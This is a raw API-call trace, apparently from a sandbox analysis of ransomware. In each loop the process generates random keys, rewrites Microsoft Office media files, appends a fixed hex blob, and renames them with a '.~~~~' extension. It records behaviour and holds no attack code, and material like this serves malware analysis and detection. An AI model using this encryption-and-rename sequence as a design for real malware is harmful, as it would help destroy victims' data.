	[0125.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821128 | out: hHeap=0x300000) returned 1
	[0125.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f18b8
	[0125.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1268
	[0125.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f18b8 | out: hHeap=0x300000) returned 1
	[0125.661] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0125.662] GetLastError () returned 0x0
	[0125.662] GetLastError () returned 0x0
	[0125.662] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0125.662] GetLastError () returned 0x0
	[0125.662] GetLastError () returned 0x0
	[0125.669] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff9f1c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.669] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x60e4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x60e4, lpOverlapped=0x0) returned 1
	[0125.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0125.670] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.670] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.671] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.671] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.671] CloseHandle (hObject=0x120) returned 1
	[0125.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1268
	[0125.671] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg.~~~~")) returned 1
	[0125.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c1268 | out: hHeap=0x300000) returned 1
	[0125.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0125.673] GetLastError () returned 0x0
	[0125.673] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0125.675] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.675] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0125.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0125.675] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24566511428) returned 1
	[0125.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb45e6830, dwHighDateTime=0x1d60e1e)) 
	[0125.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0125.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0125.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0125.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821160
	[0125.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821160 | out: hHeap=0x300000) returned 1
	[0125.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f18b8
	[0125.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1300
	[0125.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f18b8 | out: hHeap=0x300000) returned 1
	[0125.676] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0125.676] GetLastError () returned 0x0
	[0125.677] GetLastError () returned 0x0
	[0125.677] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0125.677] GetLastError () returned 0x0
	[0125.677] GetLastError () returned 0x0
	[0125.748] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffae98, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.748] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x5168, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x5168, lpOverlapped=0x0) returned 1
	[0125.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0125.750] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.750] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.750] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.750] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.750] CloseHandle (hObject=0x120) returned 1
	[0125.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4278
	[0125.751] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf.~~~~")) returned 1
	[0125.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b4278 | out: hHeap=0x300000) returned 1
	[0125.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0125.752] GetLastError () returned 0x0
	[0125.803] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0125.804] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.804] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0125.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0125.804] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24579427791) returned 1
	[0125.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb4717330, dwHighDateTime=0x1d60e1e)) 
	[0125.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0125.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0125.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0125.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8488
	[0125.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8488 | out: hHeap=0x300000) returned 1
	[0125.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3af818
	[0125.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bbb58
	[0125.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3af818 | out: hHeap=0x300000) returned 1
	[0125.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0125.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbb58 | out: hHeap=0x300000) returned 1
	[0125.805] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0125.805] GetLastError () returned 0x0
	[0125.805] GetLastError () returned 0x0
	[0125.805] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0125.806] GetLastError () returned 0x0
	[0125.806] GetLastError () returned 0x0
	[0125.817] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff4d2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.818] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb2e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xb2e, lpOverlapped=0x0) returned 1
	[0125.819] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0125.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.819] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.819] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.819] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.819] CloseHandle (hObject=0x130) returned 1
	[0125.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bbd50
	[0125.820] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf.~~~~")) returned 1
	[0125.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbd50 | out: hHeap=0x300000) returned 1
	[0125.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0125.823] GetLastError () returned 0x0
	[0125.824] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0125.825] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.825] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0125.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0125.825] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24581561257) returned 1
	[0125.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb47635f0, dwHighDateTime=0x1d60e1e)) 
	[0125.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0125.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0125.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0125.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28212e8
	[0125.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28212e8 | out: hHeap=0x300000) returned 1
	[0125.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bbea0
	[0125.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0125.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbea0 | out: hHeap=0x300000) returned 1
	[0125.826] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0125.827] GetLastError () returned 0x0
	[0125.827] GetLastError () returned 0x0
	[0125.827] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0125.827] GetLastError () returned 0x0
	[0125.827] GetLastError () returned 0x0
	[0125.829] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff680, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.829] WriteFile (in: hFile=0x130, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x980, lpOverlapped=0x0) returned 1
	[0125.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0125.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.831] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.831] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.831] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.831] CloseHandle (hObject=0x130) returned 1
	[0125.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bbea0
	[0125.831] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf.~~~~")) returned 1
	[0125.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbea0 | out: hHeap=0x300000) returned 1
	[0125.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0125.833] GetLastError () returned 0x0
	[0125.833] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0125.834] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.834] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0125.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0125.835] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24582473778) returned 1
	[0125.835] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb47635f0, dwHighDateTime=0x1d60e1e)) 
	[0125.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0125.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0125.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0125.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821320
	[0125.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821320 | out: hHeap=0x300000) returned 1
	[0125.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb8b8
	[0125.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0125.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb8b8 | out: hHeap=0x300000) returned 1
	[0125.835] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0125.836] GetLastError () returned 0x0
	[0125.836] GetLastError () returned 0x0
	[0125.836] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0125.836] GetLastError () returned 0x0
	[0125.836] GetLastError () returned 0x0
	[0125.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff66c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.839] WriteFile (in: hFile=0x130, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x994, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x994, lpOverlapped=0x0) returned 1
	[0125.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0125.840] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.841] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.841] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.841] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.841] CloseHandle (hObject=0x130) returned 1
	[0125.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb8b8
	[0125.841] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf.~~~~")) returned 1
	[0125.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb8b8 | out: hHeap=0x300000) returned 1
	[0125.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0125.842] GetLastError () returned 0x0
	[0125.843] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0125.844] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.844] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0125.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0125.844] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24583432526) returned 1
	[0125.844] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb4789750, dwHighDateTime=0x1d60e1e)) 
	[0125.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
